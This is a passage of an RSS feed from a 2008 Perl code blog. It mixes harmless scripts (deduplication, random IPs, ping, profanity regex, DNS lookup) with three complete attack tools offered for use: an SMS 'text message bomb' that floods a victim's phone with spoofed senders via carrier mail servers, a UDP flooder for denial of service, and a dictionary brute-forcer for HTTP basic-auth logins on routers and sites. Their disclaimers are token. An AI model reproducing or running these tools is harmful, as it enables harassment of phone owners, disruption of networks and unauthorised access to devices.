}&lt;br /&gt;}&lt;br /&gt;### We can now delete the original.. we have two copies.  One in /tmp, and one in &lt;br /&gt;### memory (iphash).&lt;br /&gt;unlink($iplist);&lt;br /&gt;&lt;br /&gt;### Open the file handle IPS for writting&lt;br /&gt;open(IPS, &quot;&gt;&gt;$iplist&quot;) || die &quot;$!&quot;;&lt;br /&gt;&lt;br /&gt;### Go ahead and print each entry in iphash to the file.&lt;br /&gt;foreach $line (keys %iphash) {&lt;br /&gt;        print IPS &quot;$line\n&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;### Close our file handles...&lt;br /&gt;close(F);&lt;br /&gt;close(IPS);&lt;br /&gt;&lt;br /&gt;### Lets open the newly created ip list and make sure it looks ok.&lt;br /&gt;open(IPS, &quot;$iplist&quot;) || die &quot;$!&quot;;&lt;br /&gt;while(&lt;IPS&gt;) {&lt;br /&gt;        print &quot;$_&quot;;&lt;br /&gt;}&lt;br /&gt;close(IPS);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;### Well, does it?!?&lt;br /&gt;print &quot;Does this look right? (N/y): &quot;;&lt;br /&gt;chomp($ans = &lt;STDIN&gt;);&lt;br /&gt;$ans = uc($ans);&lt;br /&gt;&lt;br /&gt;### Assume it&#39;s not if no answer is given.&lt;br /&gt;if($ans eq &quot;&quot;) { $ans = &quot;N&quot;; }&lt;br /&gt;### Restore the backed up version from /tmp&lt;br /&gt;if($ans eq &quot;N&quot;) {&lt;br /&gt;        unlink($iplist);&lt;br /&gt;        copy(&quot;/tmp/$randfile&quot;, $iplist);&lt;br /&gt;        print &quot;/tmp/$randfile was restored to $iplist\n&quot;;&lt;br /&gt;        exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;### Everything looks ok..&lt;br /&gt;if($ans eq &quot;Y&quot;) {&lt;br /&gt;        print &quot;Ok. Deleting the original in /tmp\n&quot;;&lt;br /&gt;        unlink(&quot;/tmp/$randfile&quot;);&lt;br /&gt;        exit(0);&lt;br /&gt;} else {&lt;br /&gt;        ### In case the user puts in something other than &quot;N&quot; or &quot;Y&quot;&lt;br /&gt;        print &quot;No idea what you typed. Restoring original.\n&quot;;&lt;br /&gt;        unlink($iplist);&lt;br /&gt;        copy(&quot;/tmp/$randfile&quot;, $iplist);&lt;br /&gt;        print &quot;/tmp/$randfile was restored to $iplist\n&quot;;&lt;br /&gt;        exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/duplicate-record-remover.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-6918330332753060308</guid><pubDate>Sat, 26 Apr 2008 05:09:00 +0000</pubDate><atom:updated>2008-04-26T01:56:08.835-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl join random ip</category><title>Random IP generator</title><description>Here are two ways using &#39;join&#39; to create random IP&#39;s:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# random IP using join:&lt;br /&gt;# First method:&lt;br /&gt;$oct1 = int rand(254);&lt;br /&gt;$oct2 = int rand(254);&lt;br /&gt;$oct3 = int rand(254);&lt;br /&gt;$oct4 = int rand(254);&lt;br /&gt;$ip = join(&#39;.&#39;, $oct1, $oct2, $oct3, $oct4);&lt;br /&gt;print &quot;random ip: $ip\n&quot;;&lt;br /&gt;&lt;br /&gt;# Second method:&lt;br /&gt;$ip = join(&quot;.&quot;, map int rand 256, 1 .. 4);&lt;br /&gt;print &quot;random ip: $ip\n&quot;;&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/random-ip-generator.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-413809724290557310</guid><pubDate>Sat, 26 Apr 2008 04:30:00 +0000</pubDate><atom:updated>2008-04-26T01:56:27.520-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">text message bomb perl proof of concept</category><title>text message bomb</title><description>This was a proof of concept proving that you could deliver emails directly to an MTA to send spoofed text messages to cell phones.  Most phones don&#39;t differentiate between SMS texts and emails, so.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;###&lt;br /&gt;# This is a text message bomb.  Simply enter the phone number you wish to destroy&lt;br /&gt;# and the provider the phone number belongs to (www.fonefinder.net works) and&lt;br /&gt;# enter the amount of text messages you wish to send.&lt;br /&gt;#&lt;br /&gt;# It makes a single connection to the MTA that delivers the message, which helps&lt;br /&gt;# to avoid detection.&lt;br /&gt;#&lt;br /&gt;# You&#39;ll notice I didn&#39;t use any non-standard modules for the socket and&lt;br /&gt;# the SMTP interaction.  I wanted to make it as portable as possible.&lt;br /&gt;#&lt;br /&gt;# TODO:&lt;br /&gt;# Add the ability to hide behind TOR proxies&lt;br /&gt;# - Did some research.  Tor blocks port 25.  Oh well.&lt;br /&gt;# Create a &quot;data&quot; buffer which contains random data from /dev/urandom.&lt;br /&gt;# - Used this in a beta version of the code.  Not very cool&lt;br /&gt;# Add ability to specify a message&lt;br /&gt;# + Added&lt;br /&gt;# Add random messages to send&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# This is a proof of concept created by nwo.&lt;br /&gt;#&lt;br /&gt;# It is probably very illegal to use this, so don&#39;t.  I am not liable for any&lt;br /&gt;# carnage it creates.&lt;br /&gt;# 12/18/2007 - nwo&lt;br /&gt;###&lt;br /&gt;use Socket;&lt;br /&gt;&lt;br /&gt;### These are the email domains to which text messages can be sent.&lt;br /&gt;### Example - 1234567890@vtext.com&lt;br /&gt;# cingularme.com&lt;br /&gt;# messaging.sprintpcs.com&lt;br /&gt;# vtext.com&lt;br /&gt;# messaging.nextel.com&lt;br /&gt;# tmomail.net&lt;br /&gt;# mmode.com&lt;br /&gt;# vmobl.com&lt;br /&gt;### The list of providers that are supported along with the email domain&lt;br /&gt;### and an active MX record for the domain.&lt;br /&gt;%providers = (&lt;br /&gt;  &#39;cingular&#39; =&gt; &#39;cingularme.com,66.102.165.114&#39;,&lt;br /&gt;  &#39;sprint&#39; =&gt; &#39;messaging.sprintpcs.com,68.28.3.22&#39;,&lt;br /&gt;  &#39;verizon&#39; =&gt; &#39;vtext.com,66.174.76.30&#39;,&lt;br /&gt;  &#39;nextel&#39; =&gt; &#39;messaging.nextel.com,170.206.225.64&#39;,&lt;br /&gt;  &#39;t-mobile&#39; =&gt; &#39;tmomail.net,66.94.9.228&#39;,&lt;br /&gt;  &#39;att&#39; =&gt; &#39;mmode.com,199.88.234.33&#39;,&lt;br /&gt;  &#39;vmobile&#39; =&gt; &#39;vmobl.com,205.239.227.29&#39;&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;### Provide the script with the phone number and provider of the victim&lt;br /&gt;if($ARGV[2] eq &quot;&quot;) {&lt;br /&gt;        print &quot;Usage: ./txtbomb.pl &lt;phone number&gt; &lt;provider&gt; &lt;quantity&gt;\n&quot;;&lt;br /&gt;        print &quot;Provider list:\n&quot;;&lt;br /&gt;        $i=1;&lt;br /&gt;        foreach $line (keys %providers) {&lt;br /&gt;                print &quot;$i) $line\n&quot;;&lt;br /&gt;                $i++;&lt;br /&gt;        }&lt;br /&gt;        exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$phone = $ARGV[0];&lt;br /&gt;$provider = $ARGV[1];&lt;br /&gt;$num = $ARGV[2];&lt;br /&gt;&lt;br /&gt;print &quot;What message do you want to send?: &quot;;&lt;br /&gt;chomp($msg = &lt;STDIN&gt;);&lt;br /&gt;&lt;br /&gt;if($msg =~ /random/i) {&lt;br /&gt;  $msg = &amp;random();&lt;br /&gt;}&lt;br /&gt;### Random users.&lt;br /&gt;@user = (&#39;amy&#39;, &#39;joe&#39;, &#39;bob&#39;, &#39;carol&#39;, &#39;kathy&#39;, &#39;sharon&#39;, &#39;lindsey&#39;, &#39;jordan&#39;,&lt;br /&gt;        &#39;billy&#39;, &#39;osama&#39;, &#39;duane&#39;, &#39;chris&#39;, &#39;sam&#39;, &#39;webmaster&#39;, &#39;linda&#39;, &#39;john&#39;,&lt;br /&gt;        &#39;michelle&#39;, &#39;jeff&#39;, &#39;paco&#39;, &#39;hugh&#39;, &#39;tacos&#39;, &#39;gurd&#39;, &#39;deb&#39;, &#39;nancy&#39;);&lt;br /&gt;$nuser = @user;&lt;br /&gt;&lt;br /&gt;### Random domains.&lt;br /&gt;@domains = (&#39;microsoft.com&#39;, &#39;google.com&#39;, &#39;yahoo.com&#39;, &#39;hotmail.com&#39;,   &#39;craigslist.com&#39;,&lt;br /&gt;            &#39;bob.com&#39;, &#39;blogspot.com&#39;, &#39;money.com&#39;, &#39;infowars.com&#39;, &#39;youtube.com&#39;, &#39;godaddy.com&#39;);&lt;br /&gt;$ndomains = @domains;&lt;br /&gt;&lt;br /&gt;### Create a random &quot;FROM&quot; email address.&lt;br /&gt;sub random() {&lt;br /&gt;  $randomfrom = &quot;$user[(int rand($nuser))]\@$domains[(int rand($ndomains))]&quot;;&lt;br /&gt;  return($randomfrom);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;### If the provider doesn&#39;t match one from the list, error and quit.&lt;br /&gt;if($providers{$provider} eq &quot;&quot;) {&lt;br /&gt;  print &quot;Invalid provider.  Try again.\n&quot;;&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;($email,$mx) = split(/\,/,$providers{$provider});&lt;br /&gt;print &quot;Sending to $phone on $provider ($mx) - $phone\@$email...\n&quot;;&lt;br /&gt;###  Create a socket and connect it.&lt;br /&gt;($addr) = (gethostbyname $mx)[4];&lt;br /&gt;$con = pack(&#39;S n a4 x8&#39;, 2, 25, $addr);&lt;br /&gt;if (socket(S, 2, 1, 6)) { print &quot;socket creation ok...\n&quot;; } else { die $!; }&lt;br /&gt;if (connect(S,$con)) { print &quot;socket connected...\n&quot;; } else { die $!; }&lt;br /&gt;select(S); $| = 1; select(STDOUT);&lt;br /&gt;&lt;br /&gt;### Be polite and say HELO to the nice mail server.&lt;br /&gt;$a = S; if($a =~ /^220/) { print S &quot;HELO $domains[(int rand($ndomains))]\n&quot;; }&lt;br /&gt;$i = 1;&lt;br /&gt;### Send the message to the socket.&lt;br /&gt;while($i &lt;= $num) {&lt;br /&gt;  $from = &amp;random;&lt;br /&gt;  $a = S; if($a =~ /^250/) { print S &quot;MAIL FROM:&lt;$from&gt;\n&quot;; }&lt;br /&gt;  $a = S; if($a =~ /^250/) { print S &quot;RCPT TO:&lt;$phone\@$email&gt;\n&quot;; }&lt;br /&gt;  $a = S; if($a =~ /^550/) {&lt;br /&gt;    ### Apparently the user isn&#39;t valid on this MTA.&lt;br /&gt;    print &quot;Received invalid user.  Check the number and provider and try again.\n&quot;;&lt;br /&gt;    close(S);&lt;br /&gt;    exit(1);&lt;br /&gt;  } else {&lt;br /&gt;    ### Open the flood gates.&lt;br /&gt;    if($i eq &quot;1&quot;) {&lt;br /&gt;      print &quot;Received Valid user. It&#39;s peanut buttah jellay time!\n&quot;;&lt;br /&gt;    }&lt;br /&gt;    print S &quot;DATA\n&quot;;&lt;br /&gt;    print S &quot;FROM:&lt;$from&gt;\n&quot;;&lt;br /&gt;    print &quot;$i) Sending from: $from\n&quot;;&lt;br /&gt;    print S &quot;TO:&lt;$phone\@$email&gt;\n&quot;;&lt;br /&gt;    print S &quot;$msg\n&quot;;&lt;br /&gt;    print S &quot;.\n&quot;;&lt;br /&gt;    sleep 2;&lt;br /&gt;    $i++;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;close(S);&lt;br /&gt;exit(0);&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/text-message-bomb.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-2520457954885887370</guid><pubDate>Sat, 26 Apr 2008 04:24:00 +0000</pubDate><atom:updated>2008-04-26T01:56:50.521-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl profanity filter regular expression</category><title>Profanity filter</title><description>This will catch most of the usual ways people swear.. ie: sh!t, f*ck, etc etc.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;opendir(DIR, &quot;.&quot;) || die &quot;$!&quot;;&lt;br /&gt;@files = readdir(DIR);&lt;br /&gt;close(DIR);&lt;br /&gt;&lt;br /&gt;foreach $line (@files) {&lt;br /&gt;  open(F, $line) || die &quot;$!&quot;;&lt;br /&gt;  while(&lt;F&gt;) {&lt;br /&gt;    if(/\b(s[h\!\|\@\-\*][i\!\|\@\-\*][t\!\|\@\-\*]){1,3}(\s+|$)/i ||&lt;br /&gt;    /\b(f[u\!\|\@\-\*][c\!\|\@\-\*][k\!\|\@\-\*]){1,3}(\s+|$)/i ||&lt;br /&gt;    /\b(a[s\!\|\@\-\*\$][s\!\|\@\-\*\$]){1,2}(\s+|$)/i ||&lt;br /&gt;    /\b(w[h\!\|\@\-\*][o\!\|\@\-\*0][r\!\|\@\-\*][e\!\|\@\-\*]){1,4}(\s+|$)/i ||&lt;br /&gt;    /\b(b[i\!\|\@\-\*][t\!\|\@\-\*07][c\!\|\@\-\*][h\!\|\@\-\*]){1,4}(\s+|$)/i ||&lt;br /&gt;    /\b(s[l\!\|\@\-\*\$][u\!\|\@\-\*\$][t\!\|\@\-\*7]){1,3}(\s+|$)/i ||&lt;br /&gt;    /\b(c[u\!\|\@\-\*\$][n\!\|\@\-\*\$][t\!\|\@\-\*7]){1,3}(\s+|$)/i) {&lt;br /&gt;&lt;br /&gt;      print &quot;&gt;&gt; $1 found in $line - $_\n&quot;;&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/profanity-filter.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-6907892353725203728</guid><pubDate>Sat, 26 Apr 2008 04:13:00 +0000</pubDate><atom:updated>2008-04-26T01:57:17.511-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">icmp ping perl time</category><title>Ping in Perl</title><description>&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use Net::Ping;&lt;br /&gt;use Time::HiRes;&lt;br /&gt;$host = $ARGV[0];&lt;br /&gt;&lt;br /&gt;if($host eq &quot;&quot;) { &lt;br /&gt;  print &quot;usage: ping.pl (host|ip)\n&quot;;&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;while(1) {&lt;br /&gt;  $p = Net::Ping-&gt;new();&lt;br /&gt;  $p-&gt;hires();&lt;br /&gt;  ($ret, $duration, $ip) = $p-&gt;ping($host, 5.5);&lt;br /&gt;&lt;br /&gt;  printf(&quot;$host [ip: $ip] is alive (packet return time: %.2f ms)\n&quot;, 1000 * $duration) if $ret;&lt;br /&gt;  $p-&gt;close();&lt;br /&gt;  sleep 1;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/ping-in-perl.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-6905175016972513454</guid><pubDate>Sat, 26 Apr 2008 04:07:00 +0000</pubDate><atom:updated>2008-04-26T01:57:34.715-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl udp flood proof of concept</category><title>UDP flooder</title><description>I wrote this because every other one that I found was written incorrectly.  This one actually works (and sometimes too well).&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# This is a proof of concept UDP flooder.  By you executing&lt;br /&gt;# this program, you accept complete liability for any damages&lt;br /&gt;# caused by it.&lt;br /&gt;# made by nwo - 12/11/05&lt;br /&gt;&lt;br /&gt;use Socket;&lt;br /&gt;&lt;br /&gt;$ARGC = @ARGV;&lt;br /&gt;&lt;br /&gt;# hit random, non sequential ports&lt;br /&gt;sub rports {&lt;br /&gt;  print &quot;Hitting: $ip\n&quot;;&lt;br /&gt;  print &quot;Packetsize: $size\n\n&quot;;&lt;br /&gt;  for(;;) {&lt;br /&gt;    $port = int(rand 65535) + 1;&lt;br /&gt;    send(pkt, &quot;@{$DATA}&quot;, 0, sockaddr_in($port, $dest));&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if($ARGC != 3) {&lt;br /&gt;  print &quot;$0 (ip) (port) (size)\n&quot;;&lt;br /&gt;  print &quot;If \&quot;port\&quot; is set to \&quot;0\&quot;, will send to random ports.\n&quot;;&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ip=$ARGV[0];&lt;br /&gt;$port=$ARGV[1];&lt;br /&gt;$size=$ARGV[2];&lt;br /&gt;&lt;br /&gt;# there&#39;s a 4 byte pad added to every 1 byte of data, and 1432 is&lt;br /&gt;# the maximum packet size before fragmentation occurs and fragmented&lt;br /&gt;# UDP packets arent going to have much effect, but we&#39;ll leave it up&lt;br /&gt;# to the users descretion.&lt;br /&gt;# - nwo&lt;br /&gt;if($size &gt; &quot;710&quot;) {&lt;br /&gt;    print &quot;This packet is over 1432 bytes and will be fragmented.\n&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# this is the &quot;trick&quot;, as every other idiot out there has attempted to&lt;br /&gt;# define the packet size by simply using $size = $ARGV[whatever], which&lt;br /&gt;# is incorrect as UDP is intended to be a data transport, thus the packet&lt;br /&gt;# data must contain legitimate data or the packet size will be the actual&lt;br /&gt;# scalar value of whatever the size is specified as. So here, we fill the&lt;br /&gt;# @DATA array with the letter &quot;A&quot; for each byte specified, then make a&lt;br /&gt;# reference pointer to it.&lt;br /&gt;# - nwo&lt;br /&gt;for(1..$size){&lt;br /&gt;  push @{$DATA},&quot;A&quot;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# this is another &quot;trick&quot;, as I&#39;ve seen more than one instance where the&lt;br /&gt;# socket creation is created within the while() loop, thus slowing down&lt;br /&gt;# the packets per second, as well as hogging CPU and chewing up file descriptors.&lt;br /&gt;# you kids need to read before trying to create something you don&#39;t understand.&lt;br /&gt;# - nwo&lt;br /&gt;socket(pkt, PF_INET, SOCK_DGRAM, getprotobyname(&quot;udp&quot;)) || die &quot;setsockopt: $!&quot;;&lt;br /&gt;$dest = inet_aton($ip);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;print &quot;UDPP - nwo\n&quot;;&lt;br /&gt;&lt;br /&gt;if($port == 0) { &amp;rports; }&lt;br /&gt;&lt;br /&gt;# Hit specified port rather than random.  Not as effective, but in a scenario&lt;br /&gt;# where the attacker is behind a firewall, it&#39;s the only way to bypass it.&lt;br /&gt;# Unfortunately, because this does not use raw sockets (by design), there is&lt;br /&gt;# no way to specify the local port number. This somewhat hinders things, as&lt;br /&gt;# if the firewall on the receiving end is set to only allow packets from&lt;br /&gt;# src_ip:53, for example, the firewall will drop any packet being sent NOT&lt;br /&gt;# coming from source port 53.&lt;br /&gt;# - nwo&lt;br /&gt;if($port ne &quot;0&quot;) {&lt;br /&gt;  print &quot;Hitting: $ip\n&quot;;&lt;br /&gt;  print &quot;Packetsize: $size\n&quot;;&lt;br /&gt;  for(;;) {&lt;br /&gt;    send(pkt, &quot;@{$DATA}&quot;, 0, sockaddr_in($port, $dest));&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/udp-flooder.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-4725745440235661791</guid><pubDate>Sat, 26 Apr 2008 03:50:00 +0000</pubDate><atom:updated>2008-04-26T01:57:53.994-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">htaccess hack brute force perl proof of concept</category><title>.htaccess authentication brute force tool</title><description>I wrote this to pen test home routers (linksys, dlink, netgear, et al) - also works for any website where .htaccess is the authentication method.  Please don&#39;t abuse these tools, they&#39;re created for research/security purposes.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;###&lt;br /&gt;#&lt;br /&gt;# brute password crackalacker.  useful for anything that uses .htaccess&lt;br /&gt;# or other basic authentication methods.&lt;br /&gt;#&lt;br /&gt;# don&#39;t use it for anything stupid.  it&#39;s for pentesting.&lt;br /&gt;# - nwo&lt;br /&gt;#&lt;br /&gt;# 11/2/2007&lt;br /&gt;#&lt;br /&gt;###&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;&lt;br /&gt;sub usage() {&lt;br /&gt;  $progname = $0;&lt;br /&gt;  print &quot;+--- created by nwo ---+\n&quot;;&lt;br /&gt;  print &quot;$progname (ip) (user) (dictionary file)\n&quot;;&lt;br /&gt;  print &quot;\n&quot;;&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub auth() {&lt;br /&gt;  local($pw) = @_;&lt;br /&gt;  $ua = LWP::UserAgent-&gt;new;&lt;br /&gt;  $req = HTTP::Request-&gt;new(GET =&gt; &quot;http://$ip/&quot;);&lt;br /&gt;  $req-&gt;authorization_basic($user, $pw);&lt;br /&gt;  @data = $ua-&gt;request($req)-&gt;as_string;&lt;br /&gt;  foreach $line (@data) {&lt;br /&gt;    if($line =~ /401/) {&lt;br /&gt;      return &quot;0&quot;;&lt;br /&gt;    } else {&lt;br /&gt;      return &quot;1&quot;;&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;$ip = $ARGV[0];&lt;br /&gt;$user = $ARGV[1];&lt;br /&gt;$dict = $ARGV[2];&lt;br /&gt;if($dict eq &quot;&quot;) {&lt;br /&gt;  $dict = &quot;D8.DIC&quot;;&lt;br /&gt;}&lt;br /&gt;if($user eq &quot;&quot;) { &amp;usage; }&lt;br /&gt;&lt;br /&gt;open(D, &quot;$dict&quot;) || die &quot;$!&quot;;&lt;br /&gt;while(&lt;D&gt;) {&lt;br /&gt;  chomp($line = $_);&lt;br /&gt;  print &quot;Trying $line....&quot;;&lt;br /&gt;  if((&amp;auth($line)) eq &quot;0&quot;) {&lt;br /&gt;    print &quot;failed.  Next..\n&quot;;&lt;br /&gt;    next;&lt;br /&gt;  }&lt;br /&gt;  if((&amp;auth($line)) eq &quot;1&quot;) {&lt;br /&gt;    print &quot;success!  Password is $line\n&quot;;&lt;br /&gt;    exit(0);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/htaccess-authentication-brute-force.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-3652953923274140155</guid><pubDate>Sat, 26 Apr 2008 03:44:00 +0000</pubDate><atom:updated>2008-04-25T22:48:38.797-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl dns resolve</category><title>Class C DNS resolving tool</title><description>This could be written better, but it was one of those things where I needed it that 1 time so I wrote it on a whim.  Feel free to let me know what you would change.. I&#39;d be interested in hearing it.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;####&lt;br /&gt;# this is an IP block resolving utility.&lt;br /&gt;#&lt;br /&gt;# only does a class C space at a time, but that&#39;s all I needed when I wrote it.  SO.&lt;br /&gt;#&lt;br /&gt;# the output is suitable for a simple copy/paste into /etc/hosts.&lt;br /&gt;#&lt;br /&gt;# - 10/17/2007 - nwo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;use Socket;&lt;br /&gt;&lt;br /&gt;if(@ARGV[0] eq &quot;&quot;) {&lt;br /&gt;  print &quot;Enter a starting address and an ending octet within that block.\n&quot;;&lt;br /&gt;  print &quot;For example:  ./dnswalk.pl 10.0.0.1 255\n&quot;;&lt;br /&gt;  print &quot;If the ending octet is left off, 255 will be assumed.\n&quot;;&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@net = (split /\./, $ARGV[0])[0,1,2];&lt;br /&gt;$begin = (split /\./, $ARGV[0])[3];&lt;br /&gt;$end = $ARGV[1];&lt;br /&gt;if($end eq &quot;&quot;) { $end = &quot;255&quot;; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;while($begin &lt;= $end) {&lt;br /&gt;  $ip = &quot;$net[0].$net[1].$net[2].$begin&quot;;&lt;br /&gt;  $iaddr = inet_aton(&quot;$ip&quot;);&lt;br /&gt;  $name = gethostbyaddr($iaddr, AF_INET);&lt;br /&gt;  if($name eq &quot;&quot;) {&lt;br /&gt;    $begin++;&lt;br /&gt;    next;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  print 